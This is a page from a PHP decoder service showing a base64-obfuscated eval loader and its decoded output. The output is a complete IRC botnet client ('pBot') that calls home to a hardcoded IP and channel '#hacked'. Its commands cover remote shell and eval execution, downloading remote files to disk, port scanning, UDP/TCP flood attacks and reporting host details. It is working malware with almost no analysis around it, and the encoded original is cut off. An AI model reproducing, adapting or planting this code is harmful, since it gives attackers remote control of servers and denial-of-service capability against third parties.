Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmNsYXNzIHBC..

Decoded Output download

set_time_limit(0);
error_reporting(0);

class pBot {

 var $config = array("server"=>"188.40.113.23",
                     "port"=>"5100",
                     "pass"=>"",
                     "maxrand"=>"1",
                     "chan"=>"#hacked",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"425601542ed8174666919cf54348cec4",
                     "trigger"=>".",
                     "hostauth"=>"3058dcaec12bee733d03a0dc4c401aef");
                      var $users = array(); 
					  
 function start() 
 { 
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) 
       $this->start(); 
	$this->set_ident();
    $alph = range("0","9");
    for($i=0;$i<$this->config['maxrand'];$i++) 
    if(strlen($this->config['pass'])>0) 
       $this->send("PASS ".$this->config['pass']);
    $this->set_nick();
    $this->main();
 } 
 
 function main() 
 { 
    while(!feof($this->conn)) 
    { 
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") 
       { 
          $this->send("PONG :".substr($this->buf,6)); 
       } 
       if(isset($cmd[1]) && $cmd[1] =="001") 
       { 
          $this->send("MODE ".$this->nick." ".$this->config['modes']); 
          $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
          $this->join($this->config['chan'],$this->config['key']);
       } 
	   if(isset($cmd[1]) && $cmd[1] =="002") 
       { 
	      $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
          $this->join($this->config['chan'],$this->config['key']);
		  $this->hostinfo();
	   }
	   if(isset($cmd[1]) && $cmd[1] =="003") 
       { 
	   	  $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
          $this->join($this->config['chan'],$this->config['key']);
	   }
   	   if(isset($cmd[1]) && $cmd[1] =="004") 
       { 
	   	  $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
          $this->join($this->config['chan'],$this->config['key']);
	   }
	   if(isset($cmd[1]) && $cmd[1] =="005") 
       { 
	   	  $this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
          $this->join($this->config['chan'],$this->config['key']);
	   }
       if(isset($cmd[1]) && $cmd[1]=="433") 
       { 
          $this->set_nick(); 
       } 
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i+1]; 
          } 
          else 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i]; 
          } 
          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             { 
                case "QUIT": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PART": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PRIVMSG": 
                   if(!$this->is_logged_in($host) && (md5($vhost) == $this->config['hostauth'] || $this->config['hostauth'] == "*")) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "user": 
                              if(md5($mcmd[1])==$this->config['password']) 
                              { 
                                 $this->log_in($host);
                              } 
                              else 
                              { 
                                 $this->notice($this->config['chan'],"[Auth]: Foute password $nick idioot!!");
                              } 
                            break; 
                         } 
                      } 
                   } 
                   elseif($this->is_logged_in($host)) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "restart": 
                               $this->send("QUIT :gerestart door $nick");
                               fclose($this->conn); 
                               $this->start(); 
                            break; 
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[dns]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[dns]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break; 
                            case "info":
								$this->hostinfo();
                            break;
                            case "rndnick": 
                               $this->set_nick(); 
                            break; 
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
			                case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = shell_exec($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 
                            case "exec": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = exec($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case "passthru": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 

                               $exec = passthru($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 
                            case "popen": 
                               if(isset($mcmd[1])) 
                               { 
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                                  $this->privmsg($this->config['chan'],"[popen]: $command");
                                  $pipe = popen($command,"r"); 
                                  while(!feof($pipe)) 
                                  { 
                                     $pbuf = trim(fgets($pipe,512)); 
                                     if($pbuf != NULL) 
                                        $this->privmsg($this->config['chan'],"     : $pbuf"); 
                                  } 
                                  pclose($pipe); 
                               }  

                            case "system": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = system($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 
                            case "pscan": // .pscan 127.0.0.1 6667 
                               if(count($mcmd) > 2) 
                               { 
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) 
                                     $this->privmsg($this->config['chan'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is open"); 
                                  else 
                                     $this->privmsg($this->config['chan'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is closed"); 
                               } 
                            break; 
                            case "download": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  {  
                                     $this->privmsg($this->config['chan'],"[download:]14 Kon bestand niet downloaden. Toestemming geweigerd."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config['chan'],"[download:]14 Kan bestand ".$mcmd[1]." niet downloaden."); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config['chan'],"[download:]14 Bestand ".$mcmd[1]." gedownload naar ".$mcmd[2].""); 
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config['chan'],"[download:]14 Typ \".download http://your.host/file /tmp/file\""); }
                            break; 
							
                            case "die": 
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn); 
                               exit; 
 
							   
                            case "logout": 
                               $this->log_out($host); 
                               $this->privmsg($this->config['chan'],"[auth:]14 Je bent nu uitgelogt $nick"); 
                            break; 
							
                            case "udpflood": 
                               if(count($mcmd)>3) 
                               { 
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); 
                               } 
                            break; 
							
                            case "tcpflood": 
                               if(count($mcmd)>5) 
                               { 
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); 
                               } 
                            break; 
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       } 
       $old_buf = $this->buf; 
    } 
    $this->start(); 
 } 
 function send($msg) 
 { 
    fwrite($this->conn,"$msg
"); 
 } 
 function join($chan,$key=NULL) 
 { 
    $this->send("JOIN $chan $key"); 
 } 
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function notice($to,$msg)
 {
    $this->send("NOTICE $to :$msg");
 }
 function is_logged_in($host) 
 { 
    if(isset($this->users[$host])) 
       return 1; 
    else 
       return 0; 
 } 
 function log_in($host) 
 { 
    $this->users[$host] = true; 
 } 
 function log_out($host) 
 { 
    unset($this->users[$host]); 
 } 
function set_nick() {
  $nicky=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
  $this->nick = $nicky[rand(0,count($nicky) - 1)];
  $this->nick1 = $nicky[rand(0,count($nicky) - 1)];
  $this->nick2 = $nicky[rand(0,count($nicky) - 1)];
  $this->nick3 = $nicky[rand(0,count($nicky) - 1)];
  $this->nick4 = $nicky[rand(0,count($nicky) - 1)];
  $this->nick5 = $nicky[rand(0,count($nicky) - 1)];
  $this->nick6 = $nicky[rand(0,count($nicky) - 1)];
  for($i=0;$i<$this->config['maxrand'];$i++) 
  $this->send("NICK [".rand(100, 99999)."]".$this->nick.$this->nick1.$this->nick2.$this->nick3.$this->nick4.$this->nick5.$this->nick6."");
 } 

function set_ident() {
  $prify=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"); 
  $ident = $prify[rand(0,count($prify) - 1)];
  if(php_uname() == "") { $uname = "---"; }
  else { $uname = php_uname(); }
  $this->send("USER ".rand(100, 99999).$ident." 127.0.0.1 localhost :".$uname."");
 }

function udpflood($host,$packetsize,$time) {
	$this->privmsg($this->config['chan'],"[UdpFlood Started!]"); 
	$packet = "";
	for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
	$timei = time();
	$i = 0;
	while(time()-$timei < $time) {
		$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
      	fwrite($fp,$packet);
       	fclose($fp);
		$i++;
	}
	$env = $i * $packetsize;
	$env = $env / 1048576;
	$vel = $env / $time;
	$vel = round($vel);
	$env = round($env);
	$this->privmsg($this->config['chan'],"[UdpFlood Finished!]: $env MB enviados / Media: $vel MB/s ");
}
 function tcpflood($host,$packets,$packetsize,$port,$delay) 
 { 
    $this->privmsg($this->config['chan'],"[TcpFlood Started!]"); 
    $packet = ""; 
    for($i=0;$i<$packetsize;$i++) 
       $packet .= chr(mt_rand(1,256)); 
    for($i=0;$i<$packets;$i++) 
    { 
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) 
       { 
          $this->privmsg($this->config['chan'],"[TcpFlood]: Error: <$e>"); 
          return 0; 
       } 
       else 
       { 
          fwrite($fp,$packet); 
          fclose($fp); 
       } 
       sleep($delay); 
    } 
    $this->privmsg($this->config['chan'],"[TcpFlood Finished!]: Config - $packets pacotes para $host:$port."); 
 }
 
function hostinfo() {
	if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "4ON"; }
    else { $safemode = "9OFF"; }

	$unme = php_uname();
	if($unme == "") { $mname = "15---"; }
	else { $mname = "15".$unme.""; }
		 
	 $url = "15http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."";
	 $pth = "15".getcwd()."";
		  
	$pthh =  getcwd()."";
	$perms = fileperms("$pthh");

	if (($perms & 0xC000) == 0xC000) { $info = 's';
	} elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
	} elseif (($perms & 0x8000) == 0x8000) { $info = '-';
	} elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
	} elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
	} elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
	} elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
	} else { $info = 'u'; }

	// Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
			(($perms & 0x0800) ? 's' : 'x' ) :
			(($perms & 0x0800) ? 'S' : '-'));
	// Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
			(($perms & 0x0400) ? 's' : 'x' ) :
			(($perms & 0x0400) ? 'S' : '-'));
	// World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
			(($perms & 0x0200) ? 't' : 'x' ) :
			(($perms & 0x0200) ? 'T' : '-'));
			
	$rghts = "15".$info."";

	$this->privmsg($this->config['chan'],"14[SAFE: $safemode14]15 $url 14[pwd:]15 $pth 14($rghts14) [uname:]15 $mname");
	}
 }
$bot = new pBot;
$bot->start();

Did this file decode correctly?

Original Code

<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmNsYXNzIHBCb3QgewoKIHZhciAkY29uZmlnID0gYXJyYXkoInNlcnZlciI9PiIxODguNDAuMTEzLjIzIiwKICAgICAgICAgICAgICAgICAgICAgInBvcnQiPT4iNTEwMCIsCiAgICAgICAgICAgICAgICAgICAgICJwYXNzIj0+IiIsCiAgICAgICAgICAgICAgICAgICAgICJtYXhyYW5kIj0+IjEiLAogICAgICAgICAgICAgICAgICAgICAiY2hhbiI9PiIjaGFja2VkIiwKICAgICAgICAgICAgICAgICAgICAgImtleSI9PiIiLAogICAgICAgICAgICAgICAgICAgICAibW9kZXMiPT4iK3AiLAogICAgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiPT4iNDI1NjAxNTQyZWQ4MTc0NjY2OTE5Y2Y1NDM0OGNlYzQiLAogICAgICAgICAgICAgICAgICAgICAidHJpZ2dlciI9PiIuIiwKICAgICAgICAgICAgICAgICAgICAgImhvc3RhdXRoIj0+IjMwNThkY2FlYzEyYmVlNzMzZDAzYTBkYzRjNDAxYWVmIik7CiAgICAgICAgICAgICAgICAgICAgICB2YXIgJHVzZXJzID0gYXJyYXkoKTsgCgkJCQkJICAKIGZ1bmN0aW9uIHN0YXJ0KCkgCiB7IAogICAgaWYoISgkdGhpcy0+Y29ubiA9IGZzb2Nrb3BlbigkdGhpcy0+Y29uZmlnWydzZXJ2ZXInXSwkdGhpcy0+Y29uZmlnWydwb3J0J10sJGUsJHMsMzApKSkgCiAgICAgICAkdGhpcy0+c3RhcnQoKTsgCgkkdGhpcy0+c2V0X2lkZW50KCk7CiAgICAkYWxwaCA9IHJhbmdlKCIwIiwiOSIpOwogICAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICAgaWYoc3RybGVuKCR0aGlzLT5jb25maWdbJ3Bhc3MnXSk+MCkgCiAgICAgICAkdGhpcy0+c2VuZCgiUEFTUyAiLiR0aGlzLT5jb25maWdbJ3Bhc3MnXSk7CiAgICAkdGhpcy0+c2V0X25pY2soKTsKICAgICR0aGlzLT5tYWluKCk7CiB9IAogCiBmdW5jdGlvbiBtYWluKCkgCiB7IAogICAgd2hpbGUoIWZlb2YoJHRoaXMtPmNvbm4pKSAKICAgIHsgCiAgICAgICAkdGhpcy0+YnVmID0gdHJpbShmZ2V0cygkdGhpcy0+Y29ubiw1MTIpKTsgCiAgICAgICAkY21kID0gZXhwbG9kZSgiICIsJHRoaXMtPmJ1Zik7IAogICAgICAgaWYoc3Vic3RyKCR0aGlzLT5idWYsMCw2KT09IlBJTkcgOiIpIAogICAgICAgeyAKICAgICAgICAgICR0aGlzLT5zZW5kKCJQT05HIDoiLnN1YnN0cigkdGhpcy0+YnVmLDYpKTsgCiAgICAgICB9IAogICAgICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSIwMDEiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiTU9ERSAiLiR0aGlzLT5uaWNrLiIgIi4kdGhpcy0+Y29uZmlnWydtb2RlcyddKTsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiSk9JTiAiLiR0aGlzLT5jb25maWdbJ2NoYW4nXS4iICIuJHRoaXMtPmNvbmZpZ1sna2V5J10uIiIpOwogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKICAgICAgIH0gCgkgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdID09IjAwMiIpIAogICAgICAgeyAKCSAgICAgICR0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbiddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7CiAgICAgICAgICAkdGhpcy0+am9pbigkdGhpcy0+Y29uZmlnWydjaGFuJ10sJHRoaXMtPmNvbmZpZ1sna2V5J10pOwoJCSAgJHRoaXMtPmhvc3RpbmZvKCk7CgkgICB9CgkgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdID09IjAwMyIpIAogICAgICAgeyAKCSAgIAkgICR0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbiddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7CiAgICAgICAgICAkdGhpcy0+am9pbigkdGhpcy0+Y29uZmlnWydjaGFuJ10sJHRoaXMtPmNvbmZpZ1sna2V5J10pOwoJICAgfQogICAJICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSIwMDQiKSAKICAgICAgIHsgCgkgICAJICAkdGhpcy0+c2VuZCgiSk9JTiAiLiR0aGlzLT5jb25maWdbJ2NoYW4nXS4iICIuJHRoaXMtPmNvbmZpZ1sna2V5J10uIiIpOwogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKCSAgIH0KCSAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV0gPT0iMDA1IikgCiAgICAgICB7IAoJICAgCSAgJHRoaXMtPnNlbmQoIkpPSU4gIi4kdGhpcy0+Y29uZmlnWydjaGFuJ10uIiAiLiR0aGlzLT5jb25maWdbJ2tleSddLiIiKTsKICAgICAgICAgICR0aGlzLT5qb2luKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwkdGhpcy0+Y29uZmlnWydrZXknXSk7CgkgICB9CiAgICAgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdPT0iNDMzIikgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnNldF9uaWNrKCk7IAogICAgICAgfSAKICAgICAgIGlmKCR0aGlzLT5idWYgIT0gJG9sZF9idWYpIAogICAgICAgeyAKICAgICAgICAgICRtY21kID0gYXJyYXkoKTsgCiAgICAgICAgICAkbXNnID0gc3Vic3RyKHN0cnN0cigkdGhpcy0+YnVmLCIgOiIpLDIpOyAKICAgICAgICAgICRtc2djbWQgPSBleHBsb2RlKCIgIiwkbXNnKTsgCiAgICAgICAgICAkbmljayA9IGV4cGxvZGUoIiEiLCRjbWRbMF0pOyAKICAgICAgICAgICR2aG9zdCA9IGV4cGxvZGUoIkAiLCRuaWNrWzFdKTsgCiAgICAgICAgICAkdmhvc3QgPSAkdmhvc3RbMV07IAogICAgICAgICAgJG5pY2sgPSBzdWJzdHIoJG5pY2tbMF0sMSk7IAogICAgICAgICAgJGhvc3QgPSAkY21kWzBdOyAKICAgICAgICAgIGlmKCRtc2djbWRbMF09PSR0aGlzLT5uaWNrKSAKICAgICAgICAgIHsgCiAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJG1zZ2NtZCk7JGkrKykgCiAgICAgICAgICAgICAgJG1jbWRbJGldID0gJG1zZ2NtZFskaSsxXTsgCiAgICAgICAgICB9IAogICAgICAgICAgZWxzZSAKICAgICAgICAgIHsgCiAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJG1zZ2NtZCk7JGkrKykgCiAgICAgICAgICAgICAgJG1jbWRbJGldID0gJG1zZ2NtZFskaV07IAogICAgICAgICAgfSAKICAgICAgICAgIGlmKGNvdW50KCRjbWQpPjIpIAogICAgICAgICAgeyAKICAgICAgICAgICAgIHN3aXRjaCgkY21kWzFdKSAKICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBjYXNlICJRVUlUIjogCiAgICAgICAgICAgICAgICAgICBpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJQQVJUIjogCiAgICAgICAgICAgICAgICAgICBpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJQUklWTVNHIjogCiAgICAgICAgICAgICAgICAgICBpZighJHRoaXMtPmlzX2xvZ2dlZF9pbigkaG9zdCkgJiYgKG1kNSgkdmhvc3QpID09ICR0aGlzLT5jb25maWdbJ2hvc3RhdXRoJ10gfHwgJHRoaXMtPmNvbmZpZ1snaG9zdGF1dGgnXSA9PSAiKiIpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICBpZihzdWJzdHIoJG1jbWRbMF0sMCwxKT09Ii4iKSAKICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goc3Vic3RyKCRtY21kWzBdLDEpKSAKICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1c2VyIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKG1kNSgkbWNtZFsxXSk9PSR0aGlzLT5jb25maWdbJ3Bhc3N3b3JkJ10pIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX2luKCRob3N0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm5vdGljZSgkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMkF1dGhcMl06IEZvdXRlIHBhc3N3b3JkICRuaWNrIGlkaW9vdCEhIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPmlzX2xvZ2dlZF9pbigkaG9zdCkpIAogICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgIGlmKHN1YnN0cigkbWNtZFswXSwwLDEpPT0iLiIpIAogICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaChzdWJzdHIoJG1jbWRbMF0sMSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJlc3RhcnQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpnZXJlc3RhcnQgZG9vciAkbmljayIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb25uKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c3RhcnQoKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkbnMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLiIsJG1jbWRbMV0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRpcCk9PTQgJiYgaXNfbnVtZXJpYygkaXBbMF0pICYmIGlzX251bWVyaWMoJGlwWzFdKSAmJiBpc19udW1lcmljKCRpcFsyXSkgJiYgaXNfbnVtZXJpYygkaXBbM10pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRuc1wyXTogIi4kbWNtZFsxXS4iID0+ICIuZ2V0aG9zdGJ5YWRkcigkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT4gIi5nZXRob3N0YnluYW1lKCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJpbmZvIjoKCQkJCQkJCQkkdGhpcy0+aG9zdGluZm8oKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicm5kbmljayI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNldF9uaWNrKCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicmF3IjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKHN0cnN0cigkbXNnLCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZXZhbCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRldmFsID0gZXZhbChzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMV0pLHN0cmxlbigkbWNtZFsxXSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoJCQkgICAgICAgICAgICAgICAgY2FzZSAic2V4ZWMiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmQgPSBzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMF0pLHN0cmxlbigkbWNtZFswXSkrMSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4ZWMgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJleGVjIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWF